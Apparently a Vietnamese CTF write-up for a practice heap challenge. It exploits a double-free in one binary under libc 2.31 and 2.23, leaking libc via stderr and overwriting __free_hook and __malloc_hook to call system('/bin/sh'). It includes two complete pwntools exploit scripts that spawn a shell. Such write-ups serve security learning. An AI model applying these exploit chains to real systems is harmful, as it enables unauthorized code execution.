Try   HackMD

(writeup) Practice Heap Exploit

  • challenge này cùng một file binary nhưng version libc khác nhau
  • basic file check

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • hàm menu() đơn giản là in các option cho mình thôi

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • nhìn vào ida, ta có thể thấy lỗi UAF hoặc DBF
ptr = malloc(size[0]);
---
free(ptr)

vì không xoá con trỏ sau khi free()

  • địa chỉ ptr = 0x404058

2.31

  • glibc này sẽ có tcache, nhưng vẫn có BUG để ta khai thác
  • trigger thử DBF

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

khi tạo thử 1 chunk rồi free 2 lần
có kiểm tra lỗi DBF ở tcache

  • tiếp tục là BUG nhỏ
*((_BYTE *)ptr + (unsigned int)(size[0] - 1)) = 0;

setup cuối chuỗi payload là NULL byte
không phải thêm cuối chuỗi là NULL byte (tránh hiểu nhầm ở đây)

  • malloc() thử rồi ta free()
  • kiểm tra chunk

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • lúc này thấy sau khi free(), bk ở chunk thứ 2 nó lại trùng với chunk thứ 1 (bk là ptr trỏ về tcache_perthread_struck)
  • để có thể bypass lỗi DBF ở tcache thì chỉ còn cách xoá bk trỏ về tcache_perthread_struct
  • vậy nếu ta chọn option2 để tiếp tục thay đổi nội dung là NULL byte thì sao

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

loop detected -> trigger thành công

  • bins

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    idea: vì k có system hay đọc flag nên hướng đi -> tạo shell bằng kỹ thuật ow_free_hook

leak libc

  • ta cần leak libc đầu tiên
  • nhưng không thể đưa vào ubin để show được
  • idea nho nhỏ là lấy IO_2_1_stdout ở trong bài hook dreamhack
  • nhưng có lẽ không dc, vì stdout là dữ liệu ra, hiện tại k có dữ liệu ra thì k dc, stdin cũng tương tự v
  • nên chỉ còn stderr là phương án cuối cùng (PIE tắt nên khả thi)
  • chọn option2 để đổi content thành exe.sym['stderr'] (vẫn nằm trong tcache)

lúc này ptr sẽ là 0x404040 (địa chỉ stderr của exe)

  • ta sẽ chọn option1 2 lần để tạo thêm 2 malloc để sửa chunks
  • malloc đầu để lấy chunk loop ra
  • nhưng ở lần malloc thứ 2 ta sẽ ghi 1 byte cuối là '\xc0' để không thay đổi stderr

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

ghi '\xc0' tại địa chỉ 0x404040 trỏ tới stderr

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • và chọn option4 để in ra (in ptr)

do ida sẽ in content của biến ptr

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • nó sẽ in ra byte, ta sẽ sài u64() thay vì p.recvline()[:-1]

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

đuôi base 000 có vẻ đúng r

ow free_hook -> system

  • ta sẽ tiếp tục double free
  • rồi ghi __free_hook (tương tự cái trên)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

ptr hiện tại là libc_free_hook

  • rồi ta tiếp tục option1 2 lần để malloc 2 cái

cái đầu lấy loop ra
cái thứ hai thì cứ ghi đại vô

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • option2 sửa lại content thành địa chỉ system

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

sửa ptr hiện tại là dữ liệu nhập đại thành system

  • system xong thì ta sẽ thêm 1 malloc chứa chuỗi '/bin/sh\0'

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

đã thêm '/bin/sh\0'

  • rồi free lần nữa là sẽ có shell

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

$rdi là chuối '/bin/sh\0'
khi free sẽ qua bước kiểm tra free_hook
free_hook ban đầu là 0, nhưng nếu có giá trị tồn tại thì sẽ thực thi cái đó

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./chall1_patched', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+78
                b*main+155
                b*main+241
                b*main+407
                b*main+419
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('')
else:
        p = process(exe.path)

GDB()

def add(size,data):
        sla(b'> ',b'1')
        sla(b'Size: ',str(size))
        sa(b'Content: ',data)

def delete():
        sla(b'> ',b'3')

def edit(data):
        sla(b'> ',b'2')
        sa(b'Content: ',data)

def show():
        sla(b'> ',b'4')

###################
### double free ###
###################

add(0x30,b'hlaanisme')
delete()
edit(b'\0'*0x30)
delete()

#################
### leak libc ###
#################

edit(p64(exe.sym["stderr"]))
add(0x30,b'hlaanisme')
add(0x30,b'\xc0')
show()
p.recvuntil(b"Content: ")

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

####################
### ow_free_hook ###
####################

add(0x30,b'hlaanisme')
delete()
edit(b'\0'*0x30)
delete()
edit(p64(libc.sym['__free_hook']))

#################
### ow system ###
#################

add(0x30,b'hlaanisme')
add(0x30,b'hlaanisme')

edit(p64(libc.sym['system']))

#########################
### /bin/sh get_shell ###
#########################

add(0x30,b'/bin/sh\0')
delete()

p.interactive()

2.23

  • ở phiên bản libc này không có tcache nên khi free sẽ được đưa vào fastbins
  • nhưng fastbin có cơ chế chống DBF
  • ta khó có thể đưa 1 chunk vào ubin
  • trên fastbin sẽ có 1 thứ gọi là idx và size
  • vì cơ chế trong fastbin nó khá chặt chẽ hơn tcache

leak libc

  • ta có thể leak libc nhờ vào stderr có trên exe
  • để làm điều đó, ta cần đưa stderr vào fastbin, đồng thời phải thoả size khi malloc ra giống với idx size

ở vị trí stderr-19 sẽ có fake size 0x7f ~ 0x70

  • để leak libc ra ta phải padding 3 byte nhằm mục đích nối chuỗi libc

add(0x68,b'hlaan')
delete()
edit(p64(exe.sym['stderr']-19))
add(0x68,b'hlaan')
add(0x68,b'a'*3)

show()
p.recvuntil(b'a'*3)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

malloc_hook + one_gadget

  • sau khi leak libc, lần edit() tiếp theo sẽ lấy tại địa chỉ 0x52f9d9c540000000 -> sửa content từ địa chỉ 0x40403d là stderr-11
  • ta sẽ thay đổi ptr có địa chỉ là 0x404058
  • nhận thấy rằng stderr là 0x404040, địa chỉ đang thay đổi là 0x40403d
  • mục tiêu sẽ là tạo fake chunk để ow ptr
  • và khi free(ptr) trong fastbin, nó sẽ check size của next_chunk khác 0
  • hiện tại:
0x40403d : ---> write from here
0x404040
0x404058 : ---> ptr (0x40403d)
  • fake:
0x40403d : 0x31 (fake size)
#chunk 0x404035: 0x7f    #0x40403d: 0x31
#reloc 0x404045: ---> edit goes here, need malloc at 0x404035
0x404040 : 0
0x404058 : ---> ptr(0x404040) #not matter
0x404098 : 0x41 #next size
0x4040a0 : fake_chunk
  • ta sẽ làm mẫu fake size là 0x31 ~ malloc size 0x20
  • cứ add(), delete() rồi edit() với content là 0x404035 (stdin+5)
add(0x20,b'hlaan')
delete()
edit(p64(exe.sym['stdin']+5))
add(0x20,b'hlaan')
  • tiếp tục với fake next size (0x41 cần malloc size 0x30)
  • đồng thời ta setup con trỏ khi __malloc_hook là '/bin/sh' (setup luôn next_size của next_chunk)
add(0x30,b'hlaan')
delete()
edit(p64(0x4040a0-0x10))
add(0x30,b'hlaan')

payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8
payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk
add(0x30,payload)
  • sau đó ta sẽ setup fake_chunk ta cần phải có size 0x71 (vì ở __malloc_hook - 35 có size phù hợp là 0x7f )
  • ta sẽ setup sao cho ptr trỏ về địa chỉ mà fake size thành 0x71
  • free(ptr) rồi edit() thành __malloc_hook - 35, -> lần malloc tiếp theo request size 0x68 là có thể ow thành system
  • cuối cùng là request size(arg = $rdi) cho malloc thành địa chỉ chứa '/bin/sh\0' là có shell

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./chall1_patched', checksec=False)
libc = ELF('./libc-2.23.so', checksec=False)
context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+78
                b*main+155
                b*main+241
                b*main+407
                b*main+419
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('')
else:
        p = process(exe.path)

def add(size,data):
        sla(b'> ',b'1')
        sla(b'Size: ',str(size))
        sa(b'Content: ',data)

def delete():
        sla(b'> ',b'3')

def edit(data):
        sla(b'> ',b'2')
        sa(b'Content: ',data)

def show():
        sla(b'> ',b'4')

GDB()

#################
### leak libc ###
#################

add(0x68,b'hlaan')
delete()
edit(p64(exe.sym['stderr']-19))
add(0x68,b'hlaan')
add(0x68,b'a'*3)

show()
p.recvuntil(b'a'*3)

libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

ptr = 0x404058

##################
###    setup   ###
##################

payload = b'\x31' + b'\0\0'
payload += p64(0)*2
payload += p64(0) + p64(exe.sym['stderr']) #404050 #ptr
payload += b'a'*8*6 + p64(0)
payload += p64(0x41)
edit(payload)

##################
### fake chunk ###
##################

add(0x20,b'hlaan')
delete()
edit(p64(exe.sym['stdin']+5))
add(0x20,b'hlaan')

##################
### next chunk ###
##################

add(0x30,b'hlaan')
delete()
edit(p64(0x4040a0-0x10))
add(0x30,b'hlaan')

payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8
payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk
add(0x30,payload)

###################
### malloc_hook ###
###################

payload = b'\0'*3 + p64(0x71) #0x404045 #0x404048(fake_size)
payload += p64(0)  + p64(exe.sym['size']) #size #ptr
add(0x20,payload)
delete()

payload = p64(libc.sym['__malloc_hook']-35)
edit(payload)
add(0x68,b'hlaan')

payload = b'\0'*19 + p64(libc.sym['system'])
add(0x68,payload)

#######################
### trigger aborted ###
#######################

sla(b'> ',b'1')
sla(b'Size: ',str(0x4040a0)) #fake_next_chunk have '/bin/sh\0'

p.interactive()